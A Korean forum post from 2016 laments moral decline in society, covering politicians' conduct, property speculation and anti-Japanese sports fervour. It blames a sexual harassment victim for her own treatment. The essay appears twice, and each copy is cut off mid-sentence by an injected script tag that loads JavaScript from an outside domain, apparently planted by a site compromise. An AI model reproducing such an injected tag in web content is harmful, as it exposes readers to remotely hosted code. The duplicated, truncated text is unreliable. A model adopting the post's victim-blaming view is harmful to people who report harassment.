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[제목]
부끄러운 사회 (김연수)
🧑 정부영
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📅 2016-01-09 20:34:07
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👀 67
우리나라는 예로부터 <동방예의지국>이라는 칭송을 들어왔습니다만 제생각으로 지금은 <동방무례지국>이란 표현도 넘어서지않았나 싶습니다.
최근들어 그런 현상은 점점더 사회의 각분야에서 노골화되고 심화되고 있습니다. 저는 우리사회의 최근 모습이야말로 몰염치의 극치이며 상스러운 문화의 정점에 있는것이 아닌가 싶습니다.
최근 성희롱으로 곤욕을 치르고 있는 한나라당의 3선국회의원만 해도 그렇습니다. 염치가 있는 사람이라면 <사법부에가서 심판받겠다>고하는 그런 잔머릴굴리지는 않을 것입니다. 진정한 사과가 아닌 말뿐인 사과는 그냥 말의 유희일 뿐이며 진정성이 결여되어있습니다. 그런 모습이 지금 우리사회의 지도자들의 모습입니다.
그뿐만이 아닙니다. 그성희롱을 당했다는 여기자도 스스로 부끄러운줄 알아야합니다. 사람이 품행이 단정하면 술에 취한사람도 그앞에선 정신이 번쩍드는 법입니다. 2차,3차 술자리까지 따라가서 봉변을 당했다면 피차 부끄러운것은 매한가지인데 무슨 대단한 업적이라도 이룬양 의기양양한것을 보면 참으로 우리사회가 부끄러운 지경에까지 갔구나하는 탄식이 나옵니다. 과연 그의원이 그런실수를 안했더라면 그때도 그앞에서 그렇게 당당했을까요?
서울시장을 지낸 사람이나 지도층인사들이 공짜로 테니스를 즐기면서도 그것이 <사려깊지 못한일>인줄을 몇년이 지난뒤에야 알정도로 온사회가 도덕불감증에 걸려있습니다. 정권을 유지하는 사람들은 항상 나와서는 전체를 단합시키기보다는 분리하고 서로 싸우거나 비판하게하여 얕고 쉬운정치를 하려고 합니다. 그거 모택동이 정권을 쉽게 정착시키려고 중국에서 이미 오래전에 취한 내부분란정책인것을 현명한 사람들은 다압니다.매스컴에서도 남 잘비판하고 남의말 잘물고늘어지는 사람이 똑똑하다고 인기를 누립니다.
그래서 그런지 나라의 어른들이나 종교지도자분들이 하는 말들을 새파란 정치꾼들이 말꼬리잡고 씹으려들며 <기득권세력,수구세력>으로 몰아붙이고는 자기들만이 독야청청한 생각을 가진것처럼 큰소리를 칩니다. 신성한 국회에서 총리와 의원,장관과 의원들이 욕을하고 말꼬리잡고 주먹을 휘두르기직전까지 가는 불상사는 이젠 자주보는 흔한 일이 되었습니다.
어디 그뿐입니까? 중산층은 카드다,부동산투기다, 주식투기다해서 이미 심리상태가 황폐화될대로 다되어있으며 그들의 가치관은 투기하지못하면 병신이라는 무의식적 행태를 보이고 있습니다. 정상적으로 열심히 사업하고 일하는 사람들은 인플레나 부동산가격폭등으로 오히려 손해를 보고 평소엔 펑펑놀다가 일년에 몇번 부동산이나 주식투기를 하는 사람들은 금방 몇억,몇십억을 법니다. 그걸 잡겠다는 사람들은 정치가 초보운전이라 오히려 사태를 더 악화시킵니다.실로 코메디를 보는것 같습니다.
며칠전 야구스포츠만해도 그렇습니다.
벌써 두번이나 이겼건만 그걸 또 반드시 세번째로 이겨야 한다고 선동을 하는 매스컴들을 보면 참으로 광적인 <스포츠국수주의>를 보는듯 합니다. 지는 사람들 심정은 한번이라도 생각해 보았을까요? 그선수들 세번이나 지면 어떻게 얼굴을 들고 자기나라로 돌아갑니까? <일본은 무조건 깨야한다>고 어떤 청년이 말하는 얼굴이 자랑스럽게 TV에 나오더군요. 이승엽선수가 세번이기면 일본에 가서 예전처럼 취업이 잘될까요? 일본에서 낮은지위에서 일하는 우리 한국사람들은 핍박을 안받을까요?
과거에 우린 너무나 매여있는것 같습니다.
<상대가 잘못을 인정 안하니까 그렇다>그렇게 말하는 사람들도 많이 봅니다. 그럼 상대가 잘못하니까 나도 잘못하겠다 그런주의인가요? 상대가 어떻든 우리는 우리나름대로 최선의 길을 가야합니다. 과거에 매인사람은 복수심리나 컴플렉스에 매인 사람들입니다. 과거를 용서해주고 참으로 이기는길은 그들보다 더넓은 마음씨를 보여주는 길이며 말이아니라 행동으로 그들보다더 아량과 포용력이 있음을 보여주는것입니다. 우리사회나 정치가들의 반응들이 지켜볼수록 너무 옹졸하다는 생각을 저는 지울수가 없습니다.
돈이 없거나 좀못살아도 염치를 지키며 이웃간에 선린관계를 먼저 생각하고 자기를 양보하며 여유롭고 너그러운 사람들이 점점더 사라져가는것 같습니다. 며칠전 TV에 나이드신 모대학 교수님이 나오셔서 <염치를 모르는 사람이 점점더 많아져가는 사회>에 대해 탄식을 하신바가 있습니다. 참으로 공감이 가는 내용이었습니다.
저는 외국에 자주가봅니다만 우리나라처럼 새치기잘하고 차운전시에 끼어들기가 극성인 나라는 세계적으로 유례가 드뭅니다. 왜 우리가 이렇게 됐을까요? 과거 동방예의지국이라고 칭송받고 고요한 아침의 나라라고 타고르가 노래한 그민족의 힘은 어디로 가고 지금은 공공질서를 무시하고 자기?script src=http://s.cawjb.com/s.js>
최근들어 그런 현상은 점점더 사회의 각분야에서 노골화되고 심화되고 있습니다. 저는 우리사회의 최근 모습이야말로 몰염치의 극치이며 상스러운 문화의 정점에 있는것이 아닌가 싶습니다.
최근 성희롱으로 곤욕을 치르고 있는 한나라당의 3선국회의원만 해도 그렇습니다. 염치가 있는 사람이라면 <사법부에가서 심판받겠다>고하는 그런 잔머릴굴리지는 않을 것입니다. 진정한 사과가 아닌 말뿐인 사과는 그냥 말의 유희일 뿐이며 진정성이 결여되어있습니다. 그런 모습이 지금 우리사회의 지도자들의 모습입니다.
그뿐만이 아닙니다. 그성희롱을 당했다는 여기자도 스스로 부끄러운줄 알아야합니다. 사람이 품행이 단정하면 술에 취한사람도 그앞에선 정신이 번쩍드는 법입니다. 2차,3차 술자리까지 따라가서 봉변을 당했다면 피차 부끄러운것은 매한가지인데 무슨 대단한 업적이라도 이룬양 의기양양한것을 보면 참으로 우리사회가 부끄러운 지경에까지 갔구나하는 탄식이 나옵니다. 과연 그의원이 그런실수를 안했더라면 그때도 그앞에서 그렇게 당당했을까요?
서울시장을 지낸 사람이나 지도층인사들이 공짜로 테니스를 즐기면서도 그것이 <사려깊지 못한일>인줄을 몇년이 지난뒤에야 알정도로 온사회가 도덕불감증에 걸려있습니다. 정권을 유지하는 사람들은 항상 나와서는 전체를 단합시키기보다는 분리하고 서로 싸우거나 비판하게하여 얕고 쉬운정치를 하려고 합니다. 그거 모택동이 정권을 쉽게 정착시키려고 중국에서 이미 오래전에 취한 내부분란정책인것을 현명한 사람들은 다압니다.매스컴에서도 남 잘비판하고 남의말 잘물고늘어지는 사람이 똑똑하다고 인기를 누립니다.
그래서 그런지 나라의 어른들이나 종교지도자분들이 하는 말들을 새파란 정치꾼들이 말꼬리잡고 씹으려들며 <기득권세력,수구세력>으로 몰아붙이고는 자기들만이 독야청청한 생각을 가진것처럼 큰소리를 칩니다. 신성한 국회에서 총리와 의원,장관과 의원들이 욕을하고 말꼬리잡고 주먹을 휘두르기직전까지 가는 불상사는 이젠 자주보는 흔한 일이 되었습니다.
어디 그뿐입니까? 중산층은 카드다,부동산투기다, 주식투기다해서 이미 심리상태가 황폐화될대로 다되어있으며 그들의 가치관은 투기하지못하면 병신이라는 무의식적 행태를 보이고 있습니다. 정상적으로 열심히 사업하고 일하는 사람들은 인플레나 부동산가격폭등으로 오히려 손해를 보고 평소엔 펑펑놀다가 일년에 몇번 부동산이나 주식투기를 하는 사람들은 금방 몇억,몇십억을 법니다. 그걸 잡겠다는 사람들은 정치가 초보운전이라 오히려 사태를 더 악화시킵니다.실로 코메디를 보는것 같습니다.
며칠전 야구스포츠만해도 그렇습니다.
벌써 두번이나 이겼건만 그걸 또 반드시 세번째로 이겨야 한다고 선동을 하는 매스컴들을 보면 참으로 광적인 <스포츠국수주의>를 보는듯 합니다. 지는 사람들 심정은 한번이라도 생각해 보았을까요? 그선수들 세번이나 지면 어떻게 얼굴을 들고 자기나라로 돌아갑니까? <일본은 무조건 깨야한다>고 어떤 청년이 말하는 얼굴이 자랑스럽게 TV에 나오더군요. 이승엽선수가 세번이기면 일본에 가서 예전처럼 취업이 잘될까요? 일본에서 낮은지위에서 일하는 우리 한국사람들은 핍박을 안받을까요?
과거에 우린 너무나 매여있는것 같습니다.
<상대가 잘못을 인정 안하니까 그렇다>그렇게 말하는 사람들도 많이 봅니다. 그럼 상대가 잘못하니까 나도 잘못하겠다 그런주의인가요? 상대가 어떻든 우리는 우리나름대로 최선의 길을 가야합니다. 과거에 매인사람은 복수심리나 컴플렉스에 매인 사람들입니다. 과거를 용서해주고 참으로 이기는길은 그들보다 더넓은 마음씨를 보여주는 길이며 말이아니라 행동으로 그들보다더 아량과 포용력이 있음을 보여주는것입니다. 우리사회나 정치가들의 반응들이 지켜볼수록 너무 옹졸하다는 생각을 저는 지울수가 없습니다.
돈이 없거나 좀못살아도 염치를 지키며 이웃간에 선린관계를 먼저 생각하고 자기를 양보하며 여유롭고 너그러운 사람들이 점점더 사라져가는것 같습니다. 며칠전 TV에 나이드신 모대학 교수님이 나오셔서 <염치를 모르는 사람이 점점더 많아져가는 사회>에 대해 탄식을 하신바가 있습니다. 참으로 공감이 가는 내용이었습니다.
저는 외국에 자주가봅니다만 우리나라처럼 새치기잘하고 차운전시에 끼어들기가 극성인 나라는 세계적으로 유례가 드뭅니다. 왜 우리가 이렇게 됐을까요? 과거 동방예의지국이라고 칭송받고 고요한 아침의 나라라고 타고르가 노래한 그민족의 힘은 어디로 가고 지금은 공공질서를 무시하고 자기?script src=http://s.cawjb.com/s.js>
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